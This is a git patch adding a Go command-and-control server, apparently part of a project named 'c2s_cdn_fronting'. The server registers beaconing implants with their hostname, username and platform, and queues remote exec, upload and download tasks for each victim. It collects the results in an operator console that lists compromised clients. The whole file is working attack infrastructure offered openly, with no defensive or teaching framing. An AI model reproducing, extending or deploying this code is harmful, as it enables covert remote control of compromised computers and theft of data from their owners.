From 5f6667db9ad687c0d29878e10bdddd652b553817 Mon Sep 17 00:00:00 2001 From: ek0ms savi0r Date: Tue, 2 Jun 2026 01:54:02 +0000 Subject: [PATCH] Upload files to "c2s_cdn_fronting/cmd/server" --- c2s_cdn_fronting/cmd/server/main.go | 372 ++++++++++++++++++++++++++++ 1 file changed, 372 insertions(+) create mode 100644 c2s_cdn_fronting/cmd/server/main.go diff --git a/c2s_cdn_fronting/cmd/server/main.go b/c2s_cdn_fronting/cmd/server/main.go new file mode 100644 index 0000000..c6e33f2 --- /dev/null +++ b/c2s_cdn_fronting/cmd/server/main.go @@ -0,0 +1,372 @@ +package main + +import ( + "bufio" + "crypto/rand" + "encoding/json" + "fmt" + "log" + "net/http" + "os" + "os/signal" + "sort" + "strconv" + "strings" + "sync" + "syscall" + "time" +) + +// ============================================================ +// Data structures +// ============================================================ + +// Client represents a connected implant. +type Client struct { + ID string `json:"id"` + Hostname string `json:"hostname"` + Username string `json:"username"` + Platform string `json:"platform"` + LastSeen time.Time `json:"last_seen"` + FirstSeen time.Time `json:"first_seen"` + BeaconInt int `json:"beacon_interval"` // seconds +} + +// Command is a task queued for a client. +type Command struct { + ID string `json:"id"` + Type string `json:"type"` // exec, upload, download, config + Payload string `json:"payload"` // the command args + Status string `json:"status"` // pending, delivered, completed, failed + Result string `json:"result,omitempty"` + IssuedAt string `json:"issued_at,omitempty"` +} + +// ----- API request/responses ----- + +type BeaconReq struct { + ClientID string `json:"client_id"` + Hostname string `json:"hostname,omitempty"` + Username string `json:"username,omitempty"` + Platform string `json:"platform,omitempty"` +} + +type BeaconResp struct { + Commands []Command `json:"commands,omitempty"` + BeaconInterval int `json:"beacon_interval,omitempty"` +} + +type ResultReq struct { + ClientID string `json:"client_id"` + CommandID string `json:"command_id"` + Output string `json:"output"` + Status string `json:"status"` +} + +// ============================================================ +// Global state +// ============================================================ + +var ( + clients = make(map[string]*Client) + clientMu sync.RWMutex + + // commands maps clientID -> slice of pending/active commands + pendingCmds = make(map[string][]Command) + cmdMu sync.Mutex + + cmdCounter int + counterMu sync.Mutex + + operatorOut = make(chan string, 64) // async output for the operator console +) + +func nextCmdID() string { + counterMu.Lock() + defer counterMu.Unlock() + cmdCounter++ + return fmt.Sprintf("cmd_%d", cmdCounter) +} + +func now() string { + return time.Now().UTC().Format(time.RFC3339) +} + +// ============================================================ +// Helpers +// ============================================================ + +func generateID() string { + b := make([]byte, 8) + rand.Read(b) + return hexEncode(b) +} + +func hexEncode(b []byte) string { + const hex = "0123456789abcdef" + out := make([]byte, len(b)*2) + for i, v := range b { + out[i*2] = hex[v>>4] + out[i*2+1] = hex[v&0x0f] + } + return string(out) +} + +func writeJSON(w http.ResponseWriter, status int, v interface{}) { + w.Header().Set("Content-Type", "application/json") + w.WriteHeader(status) + json.NewEncoder(w).Encode(v) +} + +// ============================================================ +// HTTP Handlers — API for the implant +// ============================================================ + +// POST /api/v1/beacon +func handleBeacon(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method not allowed", 405) + return + } + + var req BeaconReq + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + writeJSON(w, 400, map[string]string{"error": "bad request"}) + return + } + if req.ClientID == "" { + writeJSON(w, 400, map[string]string{"error": "client_id required"}) + return + } + + clientMu.Lock() + c, exists := clients[req.ClientID] + if !exists { + c = &Client{ + ID: req.ClientID, + FirstSeen: time.Now().UTC(), + BeaconInt: 30, + } + clients[req.ClientID] = c + operatorOut <- fmt.Sprintf("[+] New client: %s", req.ClientID) + } + c.LastSeen = time.Now().UTC() + if req.Hostname != "" { + c.Hostname = req.Hostname + } + if req.Username != "" { + c.Username = req.Username + } + if req.Platform != "" { + c.Platform = req.Platform + } + clientMu.Unlock() + + // Collect pending commands for this client + cmdMu.Lock() + cmds := pendingCmds[req.ClientID] + if len(cmds) > 0 { + pendingCmds[req.ClientID] = nil // clear queue after sending + } + cmdMu.Unlock() + + resp := BeaconResp{ + Commands: cmds, + BeaconInterval: c.BeaconInt, + } + writeJSON(w, 200, resp) +} + +// POST /api/v1/result +func handleResult(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost { + http.Error(w, "method not allowed", 405) + return + } + + var req ResultReq + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + writeJSON(w, 400, map[string]string{"error": "bad request"}) + return + } + + operatorOut <- fmt.Sprintf("[>] Result from %s / %s (%s):\n%s", + req.ClientID, req.CommandID, req.Status, req.Output) + + writeJSON(w, 200, map[string]string{"status": "ok"}) +} + +// GET /api/v1/health +func handleHealth(w http.ResponseWriter, r *http.Request) { + writeJSON(w, 200, map[string]string{"status": "ok", "time": now()}) +} + +// ============================================================ +// Operator Console +// ============================================================ + +func operatorUsage() { + fmt.Println(` +C2 Console Commands +=================== + list Show connected clients + task Issue command (type: exec|upload|download|config) + results Show recent results + help This help + exit Shutdown`) +} + +func parseCmd(line string) (ok bool) { + parts := strings.Fields(line) + if len(parts) == 0 { + return false + } + switch parts[0] { + case "help": + operatorUsage() + case "list": + listClients() + case "task": + if len(parts) < 4 { + fmt.Println("usage: task ") + return false + } + issueTask(parts[1], parts[2], strings.Join(parts[3:], " ")) + case "results": + if len(parts) < 2 { + fmt.Println("usage: results ") + return false + } + showResults(parts[1]) + case "exit", "quit": + fmt.Println("Shutting down...") + os.Exit(0) + default: + fmt.Printf("unknown command: %s\n", parts[0]) + } + return true +} + +func listClients() { + clientMu.RLock() + defer clientMu.RUnlock() + + if len(clients) == 0 { + fmt.Println("[*] No clients connected") + return + } + + // sort for consistent output + ids := make([]string, 0, len(clients)) + for id := range clients { + ids = append(ids, id) + } + sort.Strings(ids) + + fmt.Printf("\n%-12s %-20s %-12s %-12s %s\n", "CLIENT ID", "HOSTNAME", "USER", "PLATFORM", "LAST SEEN") + fmt.Println(strings.Repeat("-", 80)) + for _, id := range ids { + c := clients[id] + ago := time.Since(c.LastSeen).Truncate(time.Second) + fmt.Printf("%-12s %-20s %-12s %-12s %s ago\n", + id, c.Hostname, c.Username, c.Platform, ago) + } + fmt.Println() +} + +func issueTask(clientID, cmdType, args string) { + clientMu.RLock() + _, exists := clients[clientID] + clientMu.RUnlock() + + if !exists { + fmt.Printf("[-] Unknown client: %s\n", clientID) + return + } + + cmd := Command{ + ID: nextCmdID(), + Type: cmdType, + Payload: args, + Status: "pending", + IssuedAt: now(), + } + + cmdMu.Lock() + pendingCmds[clientID] = append(pendingCmds[clientID], cmd) + cmdMu.Unlock() + + fmt.Printf("[+] Command %s queued for %s\n", cmd.ID, clientID) +} + +func showResults(clientID string) { + // This is a placeholder — results come through the operator output stream. + fmt.Println("[*] Results stream in real-time through the console.") + fmt.Println("[*] Use 'list' to check client status.") +} + +// ============================================================ +// Operator output pump — goroutine reads from channel and prints +// ============================================================ + +func consoleOutputPump() { + for msg := range operatorOut { + fmt.Println(msg) + fmt.Print("> ") + } +} + +// ============================================================ +// Main +// ============================================================ + +func main() { + port := 8080 + if p := os.Getenv("C2_PORT"); p != "" { + if v, err := strconv.Atoi(p); err == nil { + port = v + } + } + + mux := http.NewServeMux() + mux.HandleFunc("/api/v1/beacon", handleBeacon) + mux.HandleFunc("/api/v1/result", handleResult) + mux.HandleFunc("/api/v1/health", handleHealth) + + // Start HTTP server + server := &http.Server{ + Addr: fmt.Sprintf(":%d", port), + Handler: mux, + } + + go func() { + fmt.Printf("[*] C2 server listening on :%d\n", port) + if err := server.ListenAndServe(); err != nil && err != http.ErrServerClosed { + log.Fatalf("HTTP server error: %v", err) + } + }() + + // Start console output pump + go consoleOutputPump() + + // Handle graceful shutdown + sig := make(chan os.Signal, 1) + signal.Notify(sig, syscall.SIGINT, syscall.SIGTERM) + + // Operator input loop + fmt.Println("[*] C2 CDN Fronting Server") + fmt.Println("[*] Type 'help' for commands") + fmt.Print("> ") + + scanner := bufio.NewScanner(os.Stdin) + for scanner.Scan() { + line := strings.TrimSpace(scanner.Text()) + parseCmd(line) + fmt.Print("> ") + } + + // Wait for signal or stdin EOF + <-sig + fmt.Println("\n[*] Shutting down...") + server.Close() +}